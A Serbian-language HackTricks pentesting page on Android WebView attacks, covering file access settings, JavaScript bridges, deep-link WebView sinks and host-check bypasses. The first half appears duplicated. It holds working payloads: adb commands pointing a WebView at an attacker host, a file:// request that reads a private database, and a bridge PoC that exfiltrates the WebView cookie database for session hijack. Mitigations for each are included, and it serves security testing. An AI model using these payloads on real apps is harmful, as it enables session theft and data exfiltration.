Webview Attacks

Reading time: 17 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Vodič o WebView konfiguracijama i bezbednosti

Pregled ranjivosti WebView-a

Kritičan aspekt Android razvoja obuhvata pravilno rukovanje WebView-ovima. Ovaj vodič ističe ključne konfiguracije i bezbednosne prakse za smanjenje rizika povezanih sa korišćenjem WebView-a.

Primer WebView-a

Pristup fajlovima u WebView-ovima

Po defaultu, WebView-ovi dozvoljavaju pristup fajlovima. Ovu funkcionalnost kontroliše metoda setAllowFileAccess(), dostupna od Android API level 3 (Cupcake 1.5). Aplikacije sa dozvolom android.permission.READ_EXTERNAL_STORAGE mogu čitati fajlove sa eksternog skladišta koristeći file URL šemu (file://path/to/file).

Zastarele funkcije: Universal and File Access From URLs

  • Universal Access From File URLs: Ova zastarela funkcija je dozvoljavala cross-origin zahteve sa file URL-ova, predstavljajući značajan bezbednosni rizik zbog potencijalnih XSS napada. Podrazumevana postavka je isključena (false) za aplikacije koje ciljaju Android Jelly Bean i novije.
  • Proverite ovu postavku pomoću getAllowUniversalAccessFromFileURLs().
  • Izmenite ovu postavku pomoću setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Ova funkcija, takođe zastarela, kontrolisala je pristup sadržaju sa drugih file-scheme URL-ova. Kao i universal access, podrazumevano je isključena radi poboljšane bezbednosti.
  • Koristite getAllowFileAccessFromFileURLs() za proveru i setAllowFileAccessFromFileURLs(boolean) za podešavanje.

Sigurno učitavanje fajlova

Da biste onemogućili pristup fajl-sistemu dok i dalje omogućavate pristup assets i resources, koristi se metoda setAllowFileAccess(). Na Android R i novijim verzijama, podrazumevana vrednost je false.

  • Proverite pomoću getAllowFileAccess().
  • Omogućite ili onemogućite pomoću setAllowFileAccess(boolean).

WebViewAssetLoader

Klasa WebViewAssetLoader predstavlja moderan pristup za učitavanje lokalnih fajlova. Koristi http(s) URL-ove za pristup lokalnim assets i resources, usklađujući se sa Same-Origin policy, čime se olakšava upravljanje CORS-om.

loadUrl

Ovo je uobičajena funkcija koja se koristi za učitavanje proizvoljnih URL-ova u WebView-u:

java
webview.loadUrl("<url here>")

Naravno, potencijalni napadač nikada ne bi trebalo da može da kontroliše URL koji aplikacija treba da učita.

JavaScript i rukovanje Intent Scheme

  • JavaScript: Onemogućen po defaultu u WebViews, može se uključiti putem setJavaScriptEnabled(). Potrebna je opreznost jer uključivanje JavaScript-a bez odgovarajućih zaštita može dovesti do bezbednosnih ranjivosti.
  • Intent Scheme: WebViews mogu da obrade intent scheme, što potencijalno može dovesti do exploits ako se ne upravlja pažljivo. Primer ranjivosti uključivao je izloženi WebView parametar "support_url" koji je mogao biti iskorišćen za izvršavanje cross-site scripting (XSS) napada.

Vulnerable WebView

Primer eksploatacije koristeći adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android pruža funkciju koja omogućava JavaScript u WebView da pozove native Android app functions. Ovo se postiže korišćenjem metode addJavascriptInterface, koja integriše JavaScript sa native Android funkcionalnostima, nazvanu WebView JavaScript bridge. Potrebno je biti oprezan jer ova metoda dozvoljava svim stranicama unutar WebView da pristupe registrovanom JavaScript Interface objectu, što predstavlja bezbednosni rizik ako su osetljivi podaci izloženi kroz te interfejse.

  • Potrebna je izuzetna opreznost za aplikacije koje ciljaju Android verzije ispod 4.2 zbog ranjivosti koja omogućava remote code execution kroz malicious JavaScript, iskorišćavajući reflection.

Implementacija JavaScript Bridge

  • JavaScript interfaces mogu da interaguju sa native kodom, kao što je prikazano u primerima gde je metoda klase izložena JavaScript-u:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge se omogućava dodavanjem interfejsa u WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

Potencijalna eksploatacija putem JavaScript-a, npr. kroz XSS attack, omogućava pozivanje izloženih Java metoda:

html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Da biste ublažili rizike, ograničite korišćenje JavaScript bridge na kod koji se isporučuje sa APK i sprečite učitavanje JavaScript-a sa udaljenih izvora. Za starije uređaje, postavite minimum API level na 17.

Reflection-based Remote Code Execution (RCE)

  • Dokumentovana metoda omogućava postizanje RCE putem reflection izvršavanjem određenog payload-a. Međutim, anotacija @JavascriptInterface sprečava neautorizovan pristup metodama, ograničavajući attack surface.

Remote Debugging

  • Remote debugging je moguće sa Chrome Developer Tools, omogućavajući interakciju i proizvoljno izvršavanje JavaScript-a unutar sadržaja WebView-a.

Omogućavanje Remote Debugging

  • Remote debugging može biti omogućen za sve WebViews unutar aplikacije na sledeći način:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Da uslovno omogući debugging na osnovu debuggable stanja aplikacije:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arbitrary files

  • Prikazuje exfiltration proizvoljnih fajlova pomoću XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView Napadi

Vodič za WebView konfiguracije i bezbednost

Pregled ranjivosti WebView-a

Kritičan aspekt Android razvoja obuhvata pravilno rukovanje WebView-ovima. Ovaj vodič ističe ključne konfiguracije i sigurnosne prakse za ublažavanje rizika povezanih sa korišćenjem WebView-a.

WebView Example

Pristup fajlovima u WebView-ovima

Po defaultu, WebView-ovi dozvoljavaju pristup fajlovima. Ova funkcionalnost je kontrolisana metodom setAllowFileAccess(), dostupnom od Android API nivoa 3 (Cupcake 1.5). Aplikacije sa dozvolom android.permission.READ_EXTERNAL_STORAGE mogu čitati fajlove sa eksternog skladišta koristeći file URL šemu (file://path/to/file).

Zastarele funkcije: Universal and File Access From URLs

  • Universal Access From File URLs: Ova zastarela funkcija je dozvoljavala cross-origin zahteve sa file URL-ova, predstavljajući značajan sigurnosni rizik zbog potencijalnih XSS napada. Podrazumevana postavka je onemogućena (false) za aplikacije koje ciljaju Android Jelly Bean i novije.
  • Da proverite ovu postavku, koristite getAllowUniversalAccessFromFileURLs().
  • Da izmenite ovu postavku, koristite setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Ova funkcija, takođe zastarela, kontrolisala je pristup sadržaju sa drugih file scheme URL-ova. Kao i universal access, njena podrazumevana vrednost je onemogućena radi poboljšane sigurnosti.
  • Koristite getAllowFileAccessFromFileURLs() za proveru i setAllowFileAccessFromFileURLs(boolean) za podešavanje.

Sigurno učitavanje fajlova

Za onemogućavanje pristupa fajl sistemu dok se i dalje pristupa assets i resursima, koristi se metoda setAllowFileAccess(). Na Android R i novijim, podrazumevana postavka je false.

  • Proverite sa getAllowFileAccess().
  • Omogućite ili onemogućite sa setAllowFileAccess(boolean).

WebViewAssetLoader

Klasa WebViewAssetLoader je moderan pristup za učitavanje lokalnih fajlova. Koristi http(s) URL-ove za pristup lokalnim assets i resursima, usklađujući se sa Same-Origin policy, čime se olakšava upravljanje CORS-om.

loadUrl

Ovo je uobičajena funkcija koja se koristi za učitavanje proizvoljnih URL-ova u WebView-u:

java
webview.loadUrl("<url here>")

Naravno, potencijalni napadač nikada ne bi smeo da može da control the URL koji aplikacija treba da učita.

Deep-linking u internu WebView (custom scheme → WebView sink)

Mnoge aplikacije registruju custom schemes/paths koji usmeravaju korisnički prosleđen URL u in-app WebView. Ako je deep link exported (VIEW + BROWSABLE), napadač može primorati aplikaciju da renderuje proizvoljan remote sadržaj unutar njenog WebView konteksta.

Tipičan obrazac u manifestu (pojednostavljeno):

xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Uobičajeni tok koda (pojednostavljeno):

java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Obrazac napada i PoC putem adb:

bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact: udaljena stranica se izvršava u kontekstu WebView-a aplikacije (cookies/session profila WebView-a aplikacije, pristup bilo kojem izloženom @JavascriptInterface, potencijalni pristup content:// i file:// u zavisnosti od podešavanja).

Hunting tips:

  • Grep-ujte dekompajlirane izvore za getQueryParameter("url"), loadUrl(, WebView sinks, i deep-link handler-e (onCreate/onNewIntent).
  • Pregledajte manifest radi VIEW+BROWSABLE filtera i custom schemes/hosts koji se mapiraju na activities koji kasnije pokreću WebView.
  • Proverite da li postoji više deep-link putanja (npr. putanja “external browser” naspram “internal webview”) i preferirajte onu koja se renderuje unutar aplikacije.

Omogućavanje JavaScript-a pre verifikacije (order-of-checks bug)

Česta greška pri hardeningu je omogućavanje JavaScript-a ili podešavanje relaksiranih WebView postavki pre nego što se završi konačna allowlist/verifikacija ciljane URL adrese. Ako je verifikacija nekonzistentna među pomoćnim metodama ili se izvrši prekasno, deep link napadača može dostići stanje u kome:

  1. primenjuju se WebView postavke (npr. setJavaScriptEnabled(true)), i
  2. nepoverljivi URL se učitava sa omogućenim JavaScript-om.

Bug pattern (pseudokod):

java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Zašto se može iskoristiti

  • Neusklađena normalizacija: pomoćne funkcije razdvajaju/ponovo sastavljaju URL drugačije od konačne provere, stvarajući neusaglašenosti koje zlonamerni URL može iskoristiti.
  • Nepravilan redosled obrade: omogućavanje JS u koraku 2 primenjuje se globalno na WebView instancu, utičući na konačno učitavanje čak i ako bi provera kasnije propala.

Kako testirati

  • Kreirajte deep-link payloads koji prođu rane provere i stignu do sajta za konfiguraciju WebView-a.
  • Koristite adb da pošaljete implicitne VIEW intents koji dostavljaju parametar url= pod vašom kontrolom:
bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Ako exploitation uspe, vaš payload izvršava JavaScript u WebView aplikacije. Odatle, ispitajte exposed bridges:

html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Smernice za odbranu

  • Normalizujte (canonicalize) jednom; strogo validirajte u odnosu na jedinstveni izvor istine (scheme/host/path/query).
  • Pozovite setJavaScriptEnabled(true) samo nakon što su sve provere allowlist prošle i neposredno pre učitavanja pouzdanog sadržaja.
  • Izbegavajte izlaganje @JavascriptInterface nepoverljivim origin-ima; preferirajte ograničavanje po origin-u.
  • Razmotrite korišćenje posebnih WebView instanci za pouzdan i nepouzdan sadržaj, sa JS onemogućenim po defaultu.

Rukovanje JavaScript-om i Intent Scheme

  • JavaScript: U WebView-ovima je po defaultu onemogućen; može se omogućiti pomoću setJavaScriptEnabled(). Potrebna je opreznost jer omogućavanje JavaScript-a bez adekvatnih mera bezbednosti može uvesti ranjivosti.
  • Intent Scheme: WebViews mogu da obrade intent scheme, što može dovesti do exploita ako se ne upravlja pažljivo. Jedan primer ranjivosti uključivao je izložen WebView parametar "support_url" koji je mogao biti iskorišćen za izvršavanje cross-site scripting (XSS) napada.

Vulnerable WebView

Primer eksploatacije koristeći adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android pruža funkcionalnost koja omogućava JavaScript-u u WebView-u da poziva nativne Android funkcije aplikacije. Ovo se postiže korišćenjem metode addJavascriptInterface, koja integriše JavaScript sa nativnim Android funkcionalnostima, nazvanom WebView JavaScript bridge. Potreban je oprez jer ova metoda dozvoljava svim stranicama unutar WebView-a pristup registrovanom JavaScript Interface objektu, što predstavlja sigurnosni rizik ako su osetljive informacije izložene putem ovih interfejsa.

  • Potreban je izuzetan oprez za aplikacije koje ciljaju Android verzije ispod 4.2 zbog ranjivosti koja omogućava remote code execution putem zlonamernog JavaScript-a, iskorišćavajući reflection.

Implementing a JavaScript Bridge

  • JavaScript interfaces mogu interagovati sa nativnim kodom, kao što je prikazano u primerima gde je metoda klase izložena JavaScript-u:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge se omogućava dodavanjem interfejsa u WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potencijalna eksploatacija kroz JavaScript, na primer, putem XSS attack, omogućava pozivanje izloženih Java metoda:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Da biste umanjili rizike, ograničite korišćenje JavaScript bridge-a na kod koji je isporučen sa APK-om i sprečite učitavanje JavaScript-a sa udaljenih izvora. Za starije uređaje, podesite minimalni API level na 17.

Zloupotreba dispatcher-style JS bridges (invokeMethod/handlerName)

Uobičajen obrazac je jedna izložena metoda (npr., @JavascriptInterface void invokeMethod(String json)) koja deserializuje JSON pod kontrolom napadača u generički objekat i prosleđuje poziv na osnovu datog handler imena. Tipičan oblik JSON-a:

json
{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Rizik: ako bilo koji registrovani handler izvršava privilegovane akcije nad podacima napadača (npr. direktno čitanje fajlova), možete ga pozvati podešavanjem handlerName odgovarajuće. Rezultati se obično vraćaju nazad u kontekst stranice putem evaluateJavascript i callback/promise mehanizma koji se zasniva na callbackId.

Key hunting steps

  • Dekomplajlirajte i grep-ujte za addJavascriptInterface( da saznate ime bridge objekta (npr. xbridge).
  • U Chrome DevTools (chrome://inspect), unesite ime bridge objekta u Console (npr. xbridge) da nabrojite izložena polja/metode; tražite generički dispatcher kao invokeMethod.
  • Nabrojte handlere pretraživanjem klasa koje implementiraju getModuleName() ili mapa registracije.

Proizvoljno čitanje fajla preko URI → File sinks (Base64 exfiltration)

Ako handler prihvata URI, poziva Uri.parse(req.getUri()).getPath(), pravi new File(...) i čita ga bez allowlists ili provera sandboksa, dobijate proizvoljno čitanje fajla u sandboxu aplikacije koje zaobilazi WebView podešavanja kao setAllowFileAccess(false) (čitanje se dešava u native kodu, ne preko WebView network stack).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

javascript
// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes

  • Cookie DB putanje variraju između uređaja/operatera. Uobičajene su:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • Handler returns Base64; dekodirajte da biste povratili cookies i preuzeli identitet korisnika u app’s WebView profilu.

Detection tips

  • Obratite pažnju na velike Base64 stringove vraćene putem evaluateJavascript dok koristite aplikaciju.
  • Koristite Grep na dekompajliranim izvorima da pronađete handlere koji prihvataju uri/path i pretvaraju ih u new File(...).

Bypassing WebView privilege gates – endsWith() host checks

Odluke o privilegijama (izbor JSB-enabled Activity) često se oslanjaju na liste dozvoljenih hostova. Problematičan obrazac je:

java
String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Ekvivalentna logika (De Morganovi zakoni):

java
boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Ovo nije provera origin-a. Mnogi neželjeni hostovi zadovoljavaju drugi uslov, dopuštajući nepouzdanim domenima pristup privilegovanoj Activity. Uvek proverite scheme i host protiv stroge allowlist (tačno poklapanje ili ispravna provera subdomena sa tačkastim granicama), a ne trikove sa endsWith.

javascript:// izvršna primitiva preko loadUrl

Kada se nađu unutar privilegovane WebView, aplikacije ponekad izvršavaju inline JS putem:

java
webView.loadUrl("javascript:" + jsPayload);

Ako unutrašnji tok pokrene loadUrl("javascript:...") u tom kontekstu, injektovani JS se izvršava sa pristupom bridge-u čak i ako spoljna stranica obično ne bi bila dozvoljena. Pentest koraci:

  • Grep-ujte za loadUrl("javascript: i evaluateJavascript( u aplikaciji.
  • Pokušajte da dođete do tih kodnih puteva nakon prisilne navigacije ka privilegovanom WebView-u (npr. via a permissive deep link chooser).
  • Iskoristite primitiv da pozovete dispatcher (xbridge.invokeMethod(...)) i dođete do osetljivih handler-a.

Mitigations (developer checklist)

  • Stroga verifikacija origin-a za privilegovane Activities: canonicalize-ujte i uporedite scheme/host sa eksplicitnom allowlist-om; izbegavajte provere zasnovane na endsWith. Razmotrite Digital Asset Links kada je primenljivo.
  • Ograničite bridge-e samo na pouzdane stranice i ponovo proveravajte poverenje pri svakom pozivu (per-call authorization).
  • Uklonite ili strogo čuvajte handler-e koji mogu pristupati fajl sistemu; preferirajte content:// sa allowlistama/permissions umesto sirovih file:// putanja.
  • Izbegavajte loadUrl("javascript:") u privilegovanim kontekstima ili ga ograničite jakim proverama.
  • Zapamtite da setAllowFileAccess(false) ne štiti od native čitanja fajlova putem bridge-a.

JSB enumeration and debugging tips

  • Omogućite WebView remote debugging da biste koristili Chrome DevTools Console:
  • Sa strane aplikacije (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • Sa sistemske strane: moduli poput LSPosed ili Frida skripti mogu prisilno omogućiti debugging čak i u release build-ovima. Primer Frida snippet-a za Cordova WebView-e: cordova enable webview debugging
  • U DevTools-u utipkajte ime bridge objekta (npr. xbridge) da biste videli izložene članove i ispitali dispatcher.

Reflection-based Remote Code Execution (RCE)

  • Dokumentovana metoda omogućava postizanje RCE putem reflection-a izvršavanjem specifičnog payload-a. Međutim, anotacija @JavascriptInterface sprečava neautorizovan pristup metodama, ograničavajući napadnu površinu.

Remote Debugging

  • Remote debugging je moguć pomoću Chrome Developer Tools, što omogućava interakciju i proizvoljno izvršavanje JavaScript-a unutar sadržaja WebView-a.

Enabling Remote Debugging

  • Remote debugging može biti omogućeno za sve WebView-e unutar aplikacije pomoću:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Za uslovno omogućavanje debugging-a na osnovu debuggable stanja aplikacije:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate proizvoljne fajlove

  • Prikazuje exfiltration proizvoljnih fajlova koristeći XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks